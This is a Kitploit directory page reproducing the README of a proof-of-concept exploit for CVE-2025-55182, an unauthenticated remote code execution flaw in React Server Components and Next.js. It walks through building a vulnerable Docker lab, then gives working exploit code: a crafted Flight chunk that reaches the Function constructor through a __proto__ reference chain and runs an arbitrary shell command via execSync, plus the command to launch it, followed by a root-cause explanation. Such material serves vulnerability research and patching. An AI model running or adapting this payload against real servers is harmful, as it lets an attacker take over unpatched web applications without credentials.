Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-55182-poc — Proof-of-concept for CVE-2025-55182 (React2Shell): unauthenticated RCE in React Server Components / Next.js via Flight protocol deserialization. | Kitploit
Tools/GitHubGitHub/monarchfish/cve-2025-55182-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Proof-of-concept for CVE-2025-55182 (React2Shell): unauthenticated RCE in React Server Components / Next.js via Flight protocol deserialization.

View Repository
186 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Basic Information

CVE-2025-55182 is one of the most impactful Web framework vulnerabilities of 2025. React Server Components (RSC) are now the mainstream architecture for modern Next.js applications, and a large number of standard projects created with create-next-app are within the affected scope, requiring no custom code to be exploited.

ItemContent
CVE IDCVE-2025-55182
AliasReact2Shell
Vulnerability TypeUnauthenticated Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialization of Untrusted Data [3]
CVSS Score10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Affected Packagesreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Affected VersionsReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 and above, 15.x, 16.x
Attack ComplexityVery Low (Single HTTP POST Request)
Authentication RequiredNo

POC Setup Process

1. Create App Using Official Syntax

Create a Next application using the vulnerable version (16.0.6):

pnpm create [email protected] next-app --yes

2. Create a Test Server Action

  1. In next-app/app/, add actions.ts and flag it as a Server Action:

    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. On the home page (e.g., app/page.tsx), add a form with action pointing to the testAction above, and include at least one field (e.g., a hidden input).

    Next.js will generate a hidden input name="$ACTION_ID_<40-character hex>" for that form in the HTML; the POC extracts this ID from the home page HTML using a regex.

3. Set Up a Secure Containerized POC Environment

The project includes next-app/Dockerfile and docker-compose.yml to build and run the Next application; the Dockerfile can be written following the official example [8].

Run the following in the project root:

docker compose up --build -d

The started Next application will then be accessible at http://localhost:3000.

After the POC is complete, completely remove the Docker environment:

docker compose down -v

Exploitation Steps

Step 1: Obtain the ACTION_ID

When running the POC, the script fetches the home page and extracts the ID using the regex \$ACTION_ID_([a-f0-9]{40})/. Example:

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Step 2: Execute the Exploit

After installing dependencies in the project root, run:

pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Key code snippet below:

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Example: write a file on the target host:

pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Step 3: Observe Results

  • When RCE succeeds, the server may hang or time out after executing the command; this timeout is expected behavior.
  • Confirm on the target host whether the command has been executed (e.g., check for the file, process).
  • You can use docker compose exec to enter the container and inspect, or use Docker Desktop.

Explanation of the Vulnerability

Vulnerability Location

The vulnerability resides in React's Flight Protocol Deserialization Mechanism (RSC Flight Deserializer). This mechanism is responsible for passing React component state between server and client, but the processing flow suffers from a severe trust boundary issue.

React Flight Protocol is the wire format designed by React for Server Components and Server Actions: it serializes component trees, function parameters, etc., into a stream of chunks represented as JSON, and uses $number, $number:key to create references between chunks, allowing the server to reconstruct full JavaScript values.

Exploit Chain

Attacker sends malicious HTTP POST
        ↓
[Stage 1] Create a self-referential loop object
        ↓
[Stage 2] Trick the JavaScript engine into calling an attacker-controlled function
        ↓
[Stage 3] Inject malicious data to trigger the Flight initialization flow
        ↓
[Stage 4] Call the Function constructor via Blob Handler
        ↓
Arbitrary JavaScript executes on the server (RCE)

React Server & Transport Format

React's Server Functions (in Next.js, Server Actions) serialize data sent from the frontend to the backend into "chunks" using the React Flight Protocol, then send them as form data.

Advantages of this design include:

  • Streaming transport: chunks can be generated and parsed sequentially without waiting for the entire payload, benefiting latency and memory control.
  • Deduplication and sharing: the same data is serialized only once, with multiple references pointing to it, reducing duplication and transmission volume.
  • Compatible with form POST: chunks are sent as multipart fields, requiring no custom binary protocol, and are friendly to existing CDNs, proxies, and debugging.
  • Express complex structures: supports nested objects and graph structures expressed via references, satisfying the rich types needed for RPC.

Chunks can reference each other; for example:

  • chunk 0: ["$1"] (references chunk 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (references the fruitName of chunk 2)
  • chunk 2: {"fruitName":"cherry"}

After server interpretation, the result is: { object: 'fruit', name: 'cherry' }. In other words, the protocol allows pointing to properties of other chunks via $number:key and then combining them into the final JavaScript object.

Root Cause of the Vulnerability

In the pre-patched implementation, when parsing these references, there was no strict check that "the key actually exists on the object itself". Consequently, attackers could read properties on the object's prototype via references.

For example, the following payload can be constructed:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

When the server resolves "chunk 1's __proto__ → constructor → constructor", it obtains the Function constructor ([Function: Function]), i.e., the built-in constructor that creates functions from strings. In other words: through an improper reference chain, an attacker can obtain Function on the server side, and thereby execute strings as code.

thenable and await

When Next.js receives the form, it uses decodeReplyFromBusboy to restore the chunks into a value, and then awaits that value.

Download Tool